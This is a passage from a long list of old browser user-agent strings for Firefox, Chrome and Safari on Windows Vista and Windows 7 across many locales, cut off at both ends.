fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 